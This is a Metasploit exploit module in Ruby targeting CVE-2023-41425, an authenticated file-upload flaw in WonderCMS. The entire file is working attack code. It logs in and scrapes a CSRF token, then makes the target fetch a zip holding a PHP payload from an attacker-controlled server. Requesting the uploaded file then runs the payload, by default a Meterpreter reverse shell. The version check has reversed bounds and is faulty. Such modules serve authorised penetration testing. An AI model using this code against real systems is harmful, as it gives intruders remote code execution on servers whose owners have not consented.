177 lines
5.3 KiB
Ruby
177 lines
5.3 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'rex/zip'
|
|
|
|
class MetasploitModule < Msf::Exploit::Remote
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Exploit::Remote::HttpServer
|
|
include Msf::Exploit::Remote::HttpClient
|
|
include Msf::Exploit::FileDropper
|
|
prepend Msf::Exploit::Remote::AutoCheck
|
|
|
|
def initialize(info = {})
|
|
super(
|
|
update_info(
|
|
info,
|
|
'Name' => 'WonderCMS Remote Code Execution',
|
|
'Description' => %q{
|
|
This module exploits CVE-2023-41425, an authenticated file upload vulnerability affecting WonderCMS between 3.2.0 and 3.4.2.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' => [
|
|
'msutovsky-r7', # msf module
|
|
'Milad "Ex3ptionaL" Karimi' # original exploit
|
|
],
|
|
'References' => [
|
|
[ 'URL', 'https://nvd.nist.gov/vuln/detail/CVE-2023-41425'],
|
|
[ 'URL', 'https://gist.github.com/prodigiousMind/fc69a79629c4ba9ee88a7ad526043413'],
|
|
[ 'CVE', '2023-41425'],
|
|
[ 'EDB', '52271']
|
|
],
|
|
'Targets' => [
|
|
[
|
|
'PHP',
|
|
{
|
|
'Platform' => ['php'],
|
|
'Arch' => ARCH_PHP,
|
|
'Type' => :php,
|
|
'DefaultOptions' => {
|
|
'PAYLOAD' => 'php/meterpreter/reverse_tcp'
|
|
}
|
|
}
|
|
]
|
|
],
|
|
'DisclosureDate' => '2023-11-07',
|
|
'DefaultTarget' => 0,
|
|
'Notes' => {
|
|
'Stability' => [CRASH_SAFE],
|
|
'Reliability' => [REPEATABLE_SESSION],
|
|
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]
|
|
}
|
|
)
|
|
)
|
|
|
|
register_options([
|
|
OptString.new('TARGETURI', [true, 'Path to the WonderCMS application', '/wondercms']),
|
|
OptString.new('PASSWORD', [true, 'Password to log into WonderCMS', '']),
|
|
OptBool.new('CLEANUP', [false, 'Enable payload file cleanup', true])
|
|
])
|
|
end
|
|
|
|
def login
|
|
return if @logged_in
|
|
|
|
res = send_request_cgi({
|
|
'method' => 'POST',
|
|
'uri' => normalize_uri(target_uri.path, '/loginURL'),
|
|
'keep_cookies' => true,
|
|
'vars_post' => {
|
|
'password' => datastore['PASSWORD']
|
|
}
|
|
})
|
|
|
|
fail_with(Failure::NoAccess, 'Incorrect credentials') unless res&.code == 302 && !res.headers&.fetch('Location', '')&.include?('loginURL')
|
|
|
|
@logged_in = true
|
|
end
|
|
|
|
def check
|
|
res = send_request_cgi({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, '/how-to')
|
|
})
|
|
return Exploit::CheckCode::Unknown('Cannot connect to the remote host') unless res&.code == 200
|
|
|
|
return Exploit::CheckCode::Safe('WonderCMS was not detected') unless res.body&.include?('WonderCMS')
|
|
|
|
vprint_status('Target is probably WonderCMS..')
|
|
|
|
login
|
|
|
|
res = send_request_cgi!({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
|
|
|
|
html_document = res.get_html_document
|
|
|
|
html_document.xpath('//a[@href="https://wondercms.com"]').find { |link| link.text =~ /WonderCMS (\d.\d?\d?.\d?\d?)/ }
|
|
|
|
version = Rex::Version.new(Regexp.last_match(1))
|
|
|
|
return Exploit::CheckCode::Unknown('Unable to get version') unless version
|
|
|
|
return Msf::Exploit::CheckCode::Safe("WonderCMS #{version} is not affected") if version.between?(Rex::Version.new('3.4.2'), Rex::Version.new('3.2.0'))
|
|
|
|
return Exploit::CheckCode::Vulnerable("Version #{version} is affected")
|
|
end
|
|
|
|
def create_vulnerable_zip
|
|
@payload_filename = "#{Rex::Text.rand_text_alphanumeric(3..12)}.php"
|
|
files =
|
|
[
|
|
{ data: payload.encoded, fname: @payload_filename }
|
|
]
|
|
|
|
@vuln_zip = Msf::Util::EXE.to_zip(files)
|
|
register_file_for_cleanup(@payload_filename) if datastore['CLEANUP']
|
|
end
|
|
|
|
def on_request_uri(cli, _request)
|
|
print_status('Received request, sending payload..')
|
|
send_response(cli, @vuln_zip)
|
|
end
|
|
|
|
def install_malicious_component
|
|
res = send_request_cgi!({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path)
|
|
})
|
|
|
|
return Exploit::CheckCode::Unknown('Failed to connect') unless res&.code == 200
|
|
|
|
html_document = res.get_html_document
|
|
@token = html_document.at("input[@name='token']").attributes.fetch('value', nil)
|
|
|
|
return Exploit::CheckCode::Unknown('Failed to get token') unless @token
|
|
|
|
send_request_cgi!({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "/?installModule=http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}/#{@zip_filename}&directoryName=#{Rex::Text.rand_text_alphanumeric(1..8)}&type=themes&token=#{@token}")
|
|
})
|
|
end
|
|
|
|
def exploit
|
|
if Rex::Socket.is_ip_addr?(datastore['SRVHOST']) && Rex::Socket.addr_atoi(datastore['SRVHOST']) == 0
|
|
fail_with(Exploit::Failure::BadConfig, 'The SRVHOST option must be set to a routable IP address.')
|
|
end
|
|
|
|
login
|
|
|
|
create_vulnerable_zip
|
|
|
|
@zip_filename = "#{Rex::Text.rand_text_alphanumeric(4..8)}.zip"
|
|
start_service({
|
|
'Uri' => {
|
|
'Proc' => proc do |cli, req|
|
|
on_request_uri(cli, req)
|
|
end,
|
|
'Path' => "/#{@zip_filename}"
|
|
}
|
|
})
|
|
|
|
install_malicious_component
|
|
|
|
send_request_cgi!({
|
|
'method' => 'GET',
|
|
'uri' => normalize_uri(target_uri.path, "/themes/#{@payload_filename}")
|
|
})
|
|
end
|
|
end
|